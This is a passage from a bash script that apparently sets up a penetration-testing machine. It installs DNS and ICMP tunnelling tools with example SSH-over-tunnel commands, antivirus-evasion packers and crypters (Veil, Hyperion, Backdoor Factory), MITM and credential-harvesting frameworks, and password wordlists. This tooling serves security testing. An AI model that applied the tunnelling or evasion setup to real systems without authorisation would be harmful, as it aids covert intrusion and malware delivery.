  2781. domain = dnstunnel.mydomain.com
  2782. key = password1
  2783. ressources = ssh:127.0.0.1:22
  2784. EOF
  2785. #--- Client
  2786. file=/etc/dns2tcpc.conf; [ -e "${file}" ] && cp -n $file{,.bkup};
  2787. cat <<EOF > "${file}" \
  2788.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2789. domain = dnstunnel.mydomain.com
  2790. key = password1
  2791. resources = ssh
  2792. local_port = 8000
  2793. debug_level=1
  2794. EOF
  2795. #--- Example
  2796. #dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf
  2797. #dns2tcpc -f /etc/dns2tcpc.conf 178.62.206.227; ssh -C -D 8081 -p 8000 root@127.0.0.1
  2798.  
  2799.  
  2800. ##### Install ptunnel
  2801. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ptunnel${RESET} ~ ICMP tunnelling"
  2802. apt -y -qq install ptunnel \
  2803.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2804. #--- Example
  2805. #ptunnel -x password1
  2806. #ptunnel -x password1 -p 123.9.9.9 -lp 8000 -da 127.0.0.1 -dp 22; ssh -C -D 8081 -p 8000 root@127.0.0.1
  2807.  
  2808.  
  2809. ##### Install stunnel
  2810. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}stunnel${RESET} ~ SSL wrapper"
  2811. apt -y -qq install stunnel \
  2812.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2813. #--- Remove from start up
  2814. systemctl disable stunnel4
  2815.  
  2816.  
  2817. ##### Install zerofree
  2818. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}zerofree${RESET} ~ CLI nulls free blocks on a HDD"
  2819. apt -y -qq install zerofree \
  2820.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2821. #--- Example
  2822. #fdisk -l
  2823. #zerofree -v /dev/sda1
  2824. #for i in $(mount | grep sda | grep ext | cut -b 9); do  mount -o remount,ro /dev/sda${i} && zerofree -v /dev/sda${i} && mount -o remount,rw /dev/sda${i}; done
  2825.  
  2826.  
  2827. ##### Install gcc & multilib
  2828. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}gcc${RESET} & ${GREEN}multilibc${RESET} ~ compiling libraries"
  2829. for FILE in cc gcc g++ gcc-multilib make automake libc6 libc6-dev libc6-amd64 libc6-dev-amd64 libc6-i386 libc6-dev-i386 libc6-i686 libc6-dev-i686 build-essential dpkg-dev; do
  2830.   apt -y -qq install "${FILE}" 2>/dev/null
  2831. done
  2832.  
  2833.  
  2834. ##### Install MinGW ~ cross compiling suite
  2835. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MinGW${RESET} ~ cross compiling suite"
  2836. for FILE in mingw-w64 binutils-mingw-w64 gcc-mingw-w64 cmake   mingw-w64-dev mingw-w64-tools   gcc-mingw-w64-i686 gcc-mingw-w64-x86-64   mingw32; do
  2837.   apt -y -qq install "${FILE}" 2>/dev/null
  2838. done
  2839.  
  2840.  
  2841. ##### Install WINE
  2842. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}WINE${RESET} ~ run Windows programs on *nix"
  2843. apt -y -qq install wine winetricks \
  2844.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2845. #--- Using x64?
  2846. if [[ "$(uname -m)" == 'x86_64' ]]; then
  2847.   (( STAGE++ )); echo -e " ${GREEN}[i]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}WINE (x64)${RESET}"
  2848.   dpkg --add-architecture i386
  2849.   apt -qq update
  2850.   apt -y -qq install wine32 \
  2851.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2852. fi
  2853. #--- Run WINE for the first time
  2854. [ -e /usr/share/windows-binaries/whoami.exe ] && wine /usr/share/windows-binaries/whoami.exe &>/dev/null
  2855. #--- Setup default file association for .exe
  2856. file=~/.local/share/applications/mimeapps.list; [ -e "${file}" ] && cp -n $file{,.bkup}
  2857. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  2858. echo -e 'application/x-ms-dos-executable=wine.desktop' >> "${file}"
  2859.  
  2860.  
  2861. ##### Install MinGW (Windows) ~ cross compiling suite
  2862. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MinGW (Windows)${RESET} ~ cross compiling suite"
  2863. apt -y -qq install wine curl unzip \
  2864.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2865. timeout 300 curl --progress -k -L -f "http://sourceforge.net/projects/mingw/files/Installer/mingw-get/mingw-get-0.6.2-beta-20131004-1/mingw-get-0.6.2-mingw32-beta-20131004-1-bin.zip/download" > /tmp/mingw-get.zip \
  2866.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading mingw-get.zip" 1>&2       #***!!! hardcoded path!
  2867. mkdir -p ~/.wine/drive_c/MinGW/bin/
  2868. unzip -q -o -d ~/.wine/drive_c/MinGW/ /tmp/mingw-get.zip
  2869. pushd ~/.wine/drive_c/MinGW/ >/dev/null
  2870. for FILE in mingw32-base mingw32-gcc-g++ mingw32-gcc-objc; do   #msys-base
  2871.   wine ./bin/mingw-get.exe install "${FILE}" 2>&1 | grep -v 'If something goes wrong, please rerun with\|for more detailed debugging output'
  2872. done
  2873. popd >/dev/null
  2874. #--- Add to windows path
  2875. grep -q '^"PATH"=.*C:\\\\MinGW\\\\bin' ~/.wine/system.reg \
  2876.   || sed -i '/^"PATH"=/ s_"$_;C:\\\\MinGW\\\\bin"_' ~/.wine/system.reg
  2877.  
  2878.  
  2879. ##### Downloading AccessChk.exe
  2880. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Downloading ${GREEN}AccessChk.exe${RESET} ~ Windows environment tester"
  2881. apt -y -qq install curl windows-binaries unzip \
  2882.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2883. echo -n '[1/2]'; timeout 300 curl --progress -k -L -f "https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe" > /usr/share/windows-binaries/accesschk_v5.02.exe \
  2884.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading accesschk_v5.02.exe" 1>&2   #***!!! hardcoded path!
  2885. echo -n '[2/2]'; timeout 300 curl --progress -k -L -f "https://download.sysinternals.com/files/AccessChk.zip" > /usr/share/windows-binaries/AccessChk.zip \
  2886.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading AccessChk.zip" 1>&2
  2887. unzip -q -o -d /usr/share/windows-binaries/ /usr/share/windows-binaries/AccessChk.zip
  2888. rm -f /usr/share/windows-binaries/{AccessChk.zip,Eula.txt}
  2889.  
  2890.  
  2891. ##### Downloading PsExec.exe
  2892. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Downloading ${GREEN}PsExec.exe${RESET} ~ Pass The Hash 'phun'"
  2893. apt -y -qq install curl windows-binaries unzip unrar \
  2894.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2895. echo -n '[1/2]'; timeout 300 curl --progress -k -L -f "https://download.sysinternals.com/files/PSTools.zip" > /tmp/pstools.zip \
  2896.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading pstools.zip" 1>&2
  2897. echo -n '[2/2]'; timeout 300 curl --progress -k -L -f "http://www.coresecurity.com/system/files/pshtoolkit_v1.4.rar" > /tmp/pshtoolkit.rar \
  2898.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading pshtoolkit.rar" 1>&2  #***!!! hardcoded path!
  2899. unzip -q -o -d /usr/share/windows-binaries/pstools/ /tmp/pstools.zip
  2900. unrar x -y /tmp/pshtoolkit.rar /usr/share/windows-binaries/ >/dev/null
  2901.  
  2902.  
  2903. ##### Install Python (Windows via WINE)
  2904. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Python (Windows)${RESET}"
  2905. echo -n '[1/2]'; timeout 300 curl --progress -k -L -f "https://www.python.org/ftp/python/2.7.9/python-2.7.9.msi" > /tmp/python.msi \
  2906.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading python.msi" 1>&2       #***!!! hardcoded path!
  2907. echo -n '[2/2]'; timeout 300 curl --progress -k -L -f "http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download" > /tmp/pywin32.exe \
  2908.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading pywin32.exe" 1>&2      #***!!! hardcoded path!
  2909. wine msiexec /i /tmp/python.msi /qb 2>&1 | grep -v 'If something goes wrong, please rerun with\|for more detailed debugging output'
  2910. pushd /tmp/ >/dev/null
  2911. rm -rf "PLATLIB/" "SCRIPTS/"
  2912. unzip -q -o /tmp/pywin32.exe
  2913. cp -rf PLATLIB/* ~/.wine/drive_c/Python27/Lib/site-packages/
  2914. cp -rf SCRIPTS/* ~/.wine/drive_c/Python27/Scripts/
  2915. rm -rf "PLATLIB/" "SCRIPTS/"
  2916. popd >/dev/null
  2917.  
  2918.  
  2919. ##### Install veil framework
  2920. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}veil-evasion framework${RESET} ~ bypassing anti-virus"
  2921. apt -y -qq install veil-evasion \
  2922.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2923. #bash /usr/share/veil-evasion/setup/setup.sh --silent
  2924. mkdir -p /var/lib/veil-evasion/go/bin/
  2925. touch /etc/veil/settings.py
  2926. sed -i 's/TERMINAL_CLEAR=".*"/TERMINAL_CLEAR="false"/' /etc/veil/settings.py
  2927.  
  2928.  
  2929. ##### Install OP packers
  2930. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}OP packers${RESET} ~ bypassing anti-virus"
  2931. apt -y -qq install upx-ucl curl \
  2932.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2933. mkdir -p /opt/packers/
  2934. echo -n '[1/3]'; timeout 300 curl --progress -k -L -f "http://www.eskimo.com/~scottlu/win/cexe.exe" > /opt/packers/cexe.exe \
  2935.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading cexe.exe" 1>&2            #***!!! hardcoded version! Need to manually check for updates
  2936. echo -n '[2/3]'; timeout 300 curl --progress -k -L -f "http://www.farbrausch.de/~fg/kkrunchy/kkrunchy_023a2.zip" > /opt/packers/kkrunchy.zip \
  2937.   && unzip -q -o -d /opt/packers/ /opt/packers/kkrunchy.zip \
  2938.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kkrunchy.zip" 1>&2        #***!!! hardcoded version! Need to manually check for updates
  2939. echo -n '[3/3]'; timeout 300 curl --progress -k -L -f "https://github.com/Veil-Framework/Veil-Evasion/blob/master/tools/pescrambler/PEScrambler.exe" > /opt/packers/PEScrambler \
  2940.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading PEScrambler.exe" 1>&2     #***!!! hardcoded version! Need to manually check for updates
  2941. #*** ??????? Need to make a bash script like hyperion...
  2942. #--- Link to others
  2943. apt -y -qq install windows-binaries \
  2944.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2945. ln -sf /opt/packers/ /usr/share/windows-binaries/packers
  2946.  
  2947.  
  2948. ##### Install hyperion
  2949. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}hyperion${RESET} ~ bypassing anti-virus"
  2950. apt -y -qq install unzip windows-binaries \
  2951.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2952. unzip -q -o -d /usr/share/windows-binaries/ $(find /usr/share/windows-binaries/ -name "Hyperion-*.zip" -type f -print -quit)
  2953. #--- Compile
  2954. i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ \
  2955.   /usr/share/windows-binaries/Hyperion-1.0/Src/Crypter/*.cpp \
  2956.   -o /usr/share/windows-binaries/Hyperion-1.0/Src/Crypter/bin/crypter.exe
  2957. ln -sf /usr/share/windows-binaries/Hyperion-1.0/Src/Crypter/bin/crypter.exe /usr/share/windows-binaries/Hyperion-1.0/crypter.exe                                                            #***!!! hardcoded path!
  2958. wine ~/.wine/drive_c/MinGW/bin/g++.exe /usr/share/windows-binaries/Hyperion-1.0/Src/Crypter/*.cpp \
  2959.   -o /usr/share/windows-binaries/hyperion.exe 2>&1 \
  2960.   | grep -v 'If something goes wrong, please rerun with\|for more detailed debugging output'
  2961. #--- Add to path
  2962. mkdir -p /usr/local/bin/
  2963. file=/usr/local/bin/hyperion
  2964. cat <<EOF > "${file}" \
  2965.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2966. #!/bin/bash
  2967.  
  2968. ## Note: This is far from perfect...
  2969.  
  2970. CWD=\$(pwd)/
  2971. BWD="?"
  2972.  
  2973. ## Using full path?
  2974. [ -e "/\${1}" ] && BWD=""
  2975.  
  2976. ## Using relative path?
  2977. [ -e "./\${1}" ] && BWD="\${CWD}"
  2978.  
  2979. ## Can't find input file!
  2980. [[ "\${BWD}" == "?" ]] && echo -e ' '${RED}'[!]'${RESET}' Cant find \$1. Quitting...' && exit
  2981.  
  2982. ## The magic!
  2983. cd /usr/share/windows-binaries/Hyperion-1.0/
  2984. $(which wine) ./Src/Crypter/bin/crypter.exe \${BWD}\${1} output.exe
  2985.  
  2986. ## Restore our path
  2987. cd \${CWD}/
  2988. sleep 1s
  2989.  
  2990. ## Move the output file
  2991. mv -f /usr/share/windows-binaries/Hyperion-1.0/output.exe \${2}
  2992.  
  2993. ## Generate file hashes
  2994. for FILE in \${1} \${2}; do
  2995.   echo "[i] \$(md5sum \${FILE})"
  2996. done
  2997. EOF
  2998. chmod +x "${file}"
  2999.  
  3000.  
  3001. ##### Install shellter
  3002. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}shellter${RESET} ~ dynamic shellcode injector"
  3003. apt -y -qq install shellter \
  3004.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3005.  
  3006.  
  3007. ##### Install the backdoor factory
  3008. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Backdoor Factory${RESET} ~ bypassing anti-virus"
  3009. apt -y -qq install backdoor-factory \
  3010.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3011.  
  3012.  
  3013. ##### Install Backdoor Factory Proxy (BDFProxy)
  3014. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Backdoor Factory Proxy (BDFProxy)${RESET} ~ patches binaries files during a MITM"
  3015. apt -y -qq install bdfproxy \
  3016.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3017.  
  3018.  
  3019. ##### Install BetterCap
  3020. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}BetterCap${RESET} ~ MITM framework"
  3021. apt -y -qq install git ruby-dev libpcap-dev \
  3022.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3023. git clone -q -b master https://github.com/evilsocket/bettercap.git /opt/bettercap-git/ \
  3024.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3025. pushd /opt/bettercap-git/ >/dev/null
  3026. git pull -q
  3027. gem build bettercap.gemspec
  3028. gem install bettercap*.gem
  3029. popd >/dev/null
  3030.  
  3031.  
  3032. ##### Install mitmf
  3033. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MITMf${RESET} ~ framework for MITM attacks"
  3034. apt -y -qq install mitmf \
  3035.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3036.  
  3037.  
  3038. ##### Install responder
  3039. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Responder${RESET} ~ rogue server"
  3040. apt -y -qq install responder \
  3041.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3042.  
  3043.  
  3044. ##### Install seclist
  3045. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}seclist${RESET} ~ multiple types of (word)lists (and similar things)"
  3046. apt -y -qq install seclists \
  3047.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3048. #--- Link to others
  3049. apt -y -qq install wordlists \
  3050.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3051. [ -e /usr/share/seclists ] \
  3052.   && ln -sf /usr/share/seclists /usr/share/wordlists/seclists
  3053.  
  3054. #  https://github.com/fuzzdb-project/fuzzdb
  3055.  
  3056.  
  3057. ##### Update wordlists
  3058. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Updating ${GREEN}wordlists${RESET} ~ collection of wordlists"
  3059. apt -y -qq install wordlists curl \
  3060.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3061. #--- Extract rockyou wordlist
  3062. [ -e /usr/share/wordlists/rockyou.txt.gz ] \
  3063.   && gzip -dc < /usr/share/wordlists/rockyou.txt.gz > /usr/share/wordlists/rockyou.txt
  3064. #--- Add 10,000 Top/Worst/Common Passwords
  3065. mkdir -p /usr/share/wordlists/
  3066. (curl --progress -k -L -f "http://xato.net/files/10k most common.zip" > /tmp/10kcommon.zip 2>/dev/null \
  3067.   || curl --progress -k -L -f "http://download.g0tmi1k.com/wordlists/common-10k_most_common.zip" > /tmp/10kcommon.zip 2>/dev/null) \
  3068.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 10kcommon.zip" 1>&2
  3069. unzip -q -o -d /usr/share/wordlists/ /tmp/10kcommon.zip 2>/dev/null   #***!!! hardcoded version! Need to manually check for updates
  3070. mv -f /usr/share/wordlists/10k{\ most\ ,_most_}common.txt
  3071. #--- Linking to more - folders
  3072. [ -e /usr/share/dirb/wordlists ] \
  3073.   && ln -sf /usr/share/dirb/wordlists /usr/share/wordlists/dirb
  3074. #--- Extract sqlmap wordlist
  3075. unzip -o -d /usr/share/sqlmap/txt/ /usr/share/sqlmap/txt/wordlist.zip
  3076. ln -sf /usr/share/sqlmap/txt/wordlist.txt /usr/share/wordlists/sqlmap.txt
  3077. #--- Not enough? Want more? Check below!
  3078. #apt search wordlist
  3079. #find / \( -iname '*wordlist*' -or -iname '*passwords*' \) #-exec ls -l {} \;
  3080.  
  3081.  
  3082. ##### Install apt-file
  3083. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}apt-file${RESET} ~ which package includes a specific file"
  3084. apt -y -qq install apt-file \
  3085.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3086. apt-file update
  3087.  
  3088.  
  3089. ##### Install apt-show-versions
  3090. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}apt-show-versions${RESET} ~ which package version in repo"
  3091. apt -y -qq install apt-show-versions \
  3092.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3093.  
  3094.  
  3095. ##### Install Babel scripts
  3096. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Babel scripts${RESET} ~ post exploitation scripts"
  3097. apt -y -qq install git \
  3098.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3099. git clone -q -b master https://github.com/attackdebris/babel-sf.git /opt/babel-sf-git/ \
  3100.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3101. pushd /opt/babel-sf-git/ >/dev/null
  3102. git pull -q
  3103. popd >/dev/null
  3104.  
  3105.  
  3106. ##### Install checksec
  3107. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}checksec${RESET} ~ check *nix OS for security features"
  3108. apt -y -qq install curl \
  3109.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3110. mkdir -p /usr/share/checksec/
  3111. file=/usr/share/checksec/checksec.sh
  3112. timeout 300 curl --progress -k -L -f "http://www.trapkit.de/tools/checksec.sh" > "${file}" \
  3113.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading checksec.sh" 1>&2     #***!!! hardcoded patch
  3114. chmod +x "${file}"
  3115.  
  3116.  
  3117. ##### Install shellconv
  3118. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}shellconv${RESET} ~ shellcode disassembler"
  3119. apt -y -qq install git \
  3120.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3121. git clone -q -b master https://github.com/hasherezade/shellconv.git /opt/shellconv-git/ \
  3122.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3123. pushd /opt/shellconv-git/ >/dev/null
  3124. git pull -q
  3125. popd >/dev/null
  3126. #--- Add to path
  3127. mkdir -p /usr/local/bin/
  3128. file=/usr/local/bin/shellconv-git
  3129. cat <<EOF > "${file}" \
  3130.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3131. #!/bin/bash
  3132.  
  3133. cd /opt/shellconv-git/ && python shellconv.py "\$@"
  3134. EOF
  3135. chmod +x "${file}"
  3136.  
  3137.  
  3138. ##### Install bless
  3139. #(( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bless${RESET} ~ GUI hex editor"
  3140. #apt -y -qq install bless \
  3141. #  || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3142.  
  3143.  
  3144. ##### Install dhex
  3145. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}dhex${RESET} ~ CLI hex compare"
  3146. apt -y -qq install dhex \
  3147.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3148.  
  3149.  
  3150. ##### Install firmware-mod-kit
  3151. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}firmware-mod-kit${RESET} ~ customize firmware"
  3152. apt -y -qq install firmware-mod-kit \
  3153.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3154.  
  3155.  
  3156. ##### Install lnav
  3157. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}lnav${RESET} ~ CLI log veiwer"
  3158. apt -y -qq install lnav \
  3159.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3160.  
  3161.  
  3162. ##### Install commix
  3163. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}commix${RESET} ~ automatic command injection"
  3164. apt -y -qq install commix \
  3165.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3166.  
  3167.  
  3168. ##### Install fimap
  3169. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}fimap${RESET} ~ automatic LFI/RFI tool"
  3170. apt -y -qq install fimap \
  3171.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3172.  
  3173.  
  3174. ##### Install smbmap
  3175. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}smbmap${RESET} ~ SMB enumeration tool"
  3176. apt -y -qq install smbmap \
  3177.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3178.  
  3179.  
  3180. ##### Install smbspider
  3181. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}smbspider${RESET} ~ search network shares"
  3182. apt -y -qq install git \
  3183.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3184. git clone -q -b master https://github.com/T-S-A/smbspider.git /opt/smbspider-git/ \
  3185.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3186. pushd /opt/smbspider-git/ >/dev/null
  3187. git pull -q
  3188. popd >/dev/null
  3189.  
  3190.  
  3191. ##### Install CrackMapExec
  3192. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}CrackMapExec${RESET} ~ Swiss army knife for Windows environments"
  3193. apt -y -qq install git \
  3194.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3195. git clone -q -b master https://github.com/byt3bl33d3r/CrackMapExec.git /opt/crackmapexec-git/ \
  3196.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3197. pushd /opt/crackmapexec-git/ >/dev/null
  3198. git pull -q
  3199. popd >/dev/null
  3200.  
  3201.  
  3202. ##### Install credcrack
  3203. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}credcrack${RESET} ~ credential harvester via Samba"
  3204. apt -y -qq install git \
  3205.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3206. git clone -q -b master https://github.com/gojhonny/CredCrack.git /opt/credcrack-git/ \
  3207.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3208. pushd /opt/credcrack-git/ >/dev/null
  3209. git pull -q
  3210. popd >/dev/null
  3211.  
  3212.  
  3213. ##### Install Empire
  3214. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Empire${RESET} ~ PowerShell post-exploitation"
  3215. apt -y -qq install git \
  3216.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3217. git clone -q -b master https://github.com/PowerShellEmpire/Empire.git /opt/empire-git/ \
  3218.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3219. pushd /opt/empire-git/ >/dev/null
  3220. git pull -q
  3221. popd >/dev/null
  3222.  
  3223.  
  3224. ##### Install wig (https://bugs.kali.org/view.php?id=1932)
  3225. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wig${RESET} ~ web application detection"
  3226. apt -y -qq install git \
  3227.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3228. git clone -q -b master https://github.com/jekyc/wig.git /opt/wig-git/ \
  3229.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3230. pushd /opt/wig-git/ >/dev/null
  3231. git pull -q
  3232. popd >/dev/null
  3233. #--- Add to path
  3234. mkdir -p /usr/local/bin/
  3235. file=/usr/local/bin/wig-git
  3236. cat <<EOF > "${file}" \
  3237.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3238. #!/bin/bash
  3239.  
  3240. cd /opt/wig-git/ && python wig.py "\$@"
  3241. EOF
  3242. chmod +x "${file}"
  3243.  
  3244.  
  3245. ##### Install CMSmap
  3246. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}CMSmap${RESET} ~ CMS detection"
  3247. apt -y -qq install git \
  3248.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3249. git clone -q -b master https://github.com/Dionach/CMSmap.git /opt/cmsmap-git/ \
  3250.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3251. pushd /opt/cmsmap-git/ >/dev/null
  3252. git pull -q
  3253. popd >/dev/null
  3254. #--- Add to path
  3255. mkdir -p /usr/local/bin/
  3256. file=/usr/local/bin/cmsmap-git
  3257. cat <<EOF > "${file}" \
  3258.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3259. #!/bin/bash
  3260.  
  3261. cd /opt/cmsmap-git/ && python cmsmap.py "\$@"
  3262. EOF
  3263. chmod +x "${file}"
  3264.  
  3265.  
  3266. ##### Install droopescan
  3267. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}DroopeScan${RESET} ~ Drupal vulnerability scanner"
  3268. apt -y -qq install git \
  3269.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3270. git clone -q -b master https://github.com/droope/droopescan.git /opt/droopescan-git/ \
  3271.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3272. pushd /opt/droopescan-git/ >/dev/null
  3273. git pull -q
  3274. popd >/dev/null
  3275. #--- Add to path
  3276. mkdir -p /usr/local/bin/
  3277. file=/usr/local/bin/droopescan-git
  3278. cat <<EOF > "${file}" \
  3279.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3280. #!/bin/bash
